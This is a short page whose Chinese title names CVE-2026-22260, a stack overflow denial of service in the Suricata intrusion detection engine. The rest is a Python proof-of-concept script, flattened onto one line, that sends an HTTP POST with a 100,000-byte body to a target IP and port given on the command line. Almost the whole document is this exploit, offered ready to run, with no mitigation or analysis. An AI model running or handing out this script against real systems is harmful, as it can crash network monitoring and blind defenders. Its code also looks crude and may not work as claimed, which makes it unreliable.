CVE-2026-22260 Suricata栈溢出拒绝服务漏洞

import socket import sys def send_malicious_request(target_ip, target_port): """ PoC for CVE-2026-22260 - Suricata Stack Overflow DoS This PoC sends an HTTP request with oversized body to trigger stack overflow """ # Create large payload to trigger stack overflow body_size = 100000 # Large body size payload = b'A' * body_size # HTTP request with large body http_request = ( b'POST / HTTP/1.1\r\n' b'Host: ' + target_ip.encode() + b':' + str(target_port).encode() + b'\r\n' b'Content-Length: ' + str(body_size).encode() + b'\r\n' b'\r\n' + payload ) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) sock.send(http_request) print(f'[+] Malicious request sent to {target_ip}:{target_port}') sock.close() except Exception as e: print(f'[-] Error: {e}') if __name__ == '__main__': if len(sys.argv) < 3: print(f'Usage: {sys.argv[0]} <target_ip> <target_port>') sys.exit(1) send_malicious_request(sys.argv[1], int(sys.argv[2]))